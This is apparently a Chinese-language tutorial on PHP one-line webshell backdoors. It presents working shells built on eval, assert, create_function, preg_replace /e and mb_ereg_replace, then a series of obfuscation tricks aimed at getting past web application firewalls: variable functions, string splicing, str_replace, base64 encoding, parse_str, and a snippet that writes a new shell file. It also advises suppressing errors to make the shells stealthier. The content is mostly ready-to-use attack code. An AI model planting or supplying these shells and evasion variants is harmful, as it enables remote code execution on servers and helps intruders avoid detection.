入侵条件
只要攻击者满足三个条件,就能实现成功入侵:
-
木马上传成功,未被waf拦截;
-
知道木马的路径在哪;
-
上传的木马能正常运行。
eval和assert
php任意代码执行的一句话后门,我们喜欢用的是传统的eval,php5,7通用。
<?php @eval($_GET["cmd"]); ?>
eval() 函数把字符串按照 PHP 代码来执行,上面的代码含义是获取 cmd 参数中代码来执行:如 cmd=echo 'hello,world!';
,会打印出 hello world!

<?php @assert($_POST['a']) ?>
assert() 会检查指定的 assertion 并在结果为 FALSE 时采取适当的行动。如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。
虽然有人说assert在php7.0及其以上版本被禁用,但实际上并没有禁用,而是和eval一样禁止拆分了。这样就很容易被识别到。
绝大部分一句话后门,都跟这两个函数(其实不是函数)有关。
create_function和preg_replace函数
create_function,它的作用是创建一个匿名函数,在内部也相当于执行了一次eval。php5,7都可用
<?php $st=@create_function('',$_POST['a']);$st();?>
/e修饰符,也就是大家熟知的preg_replace。这个则是真的php7用不了了,仅限php5。
<?php @preg_replace('/.*/e',$_POST['a'],'');?>
除了preg_replace之外,还有一个和它类似的函数。
<?php @preg_filter('/.*/e',$_POST['a'],'');?>
这两个都是仅限php5的,php7也想用这种方法怎么办呢?有办法,php并没有完全将/e修饰符赶尽杀绝。
<?php @mb_ereg_replace('.*',$_POST['a'],'','ee');?>
<?php @mb_eregi_replace('.*',$_POST['a'],'','ee');?>
它们甚至还有别名
<?php @mbereg_replace('.*',$_POST['a'],'','ee');?>
<?php @mberegi_replace('.*',$_POST['a'],'','ee');?>
绕过 WAF
WAF通常会以关键字判断是否为一句话木马,所以要将一句话木马变形使用,从而绕过 waf:
- php变量函数
<?php
$a = "assert";
$a($_POST['hacker']);
?>
使用了变量函数 $a,变量储存了函数名,便可以直接用变量替代函数名。
- php可变变量
<?php
$b = "assert";
$a = 'b';
$$a($_POST['hacker']);
?>
- str_replace函数
<?php
$a = str_replace("b", "", "absbsbebrbt");
$a($_POST['hacker']);
?>
此函数作用是:在第三个参数中查找第一个参数,并替换成第二个参数。这里第二个参数为空字符串,就相当于删除“b”。
- base64_decode 函数
<?php
$a = base64_decode("YXNzZXJ0");
$a($_POST['hacker']);
?>
这是base64解密函数,“YXNzZXJ0”是“assert”字符串的base64加密。
当然,也可以这样:
<?php
@fputs(fopen(base64_decode('dGVzdC5waHA='),w),
base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydoYWNrZXInXSk7Pz4='));
?>
"dGVzdC5waHA="base64解码后是“test.php”,
“PD9waHAgQGV2YWwoJF9QT1NUWydoYWNrZXInXSk7Pz4=”解码后就是
“<?php @eval($_POST['hacker']);?>”
这个相当于生成一个test.php的文件,并在文件中写入了一句话木马。
- 使用"."连接字符串
<?php
$b = "a"."ss";
$c = "er"."t";
$a = $b.$c;
$a($_POST['hacker']);
?>
- parse_str函数
<?php
$str = "a=assert";
parse_str($str); //parse_str("a=assert");
$a($_POST['hacker']);
?>
执行此函数后,将生成一个变量a的值为字符串”assert”。
最后举个例子:
<?php
function fun(){
return $_POST['hacker'];
}
@preg_replace("/test/e", fun(), "testtesttest");
?>
以上六种技巧每一种单独使用都不能绕过waf,但是与 0x02 中提到的函数混合起来使用,就可以顺利的欺骗waf。
tips:使用一句话木马的时候可以在函数前加”@”符,这个符号让php语句不显示错误信息,增加隐蔽性。
网友评论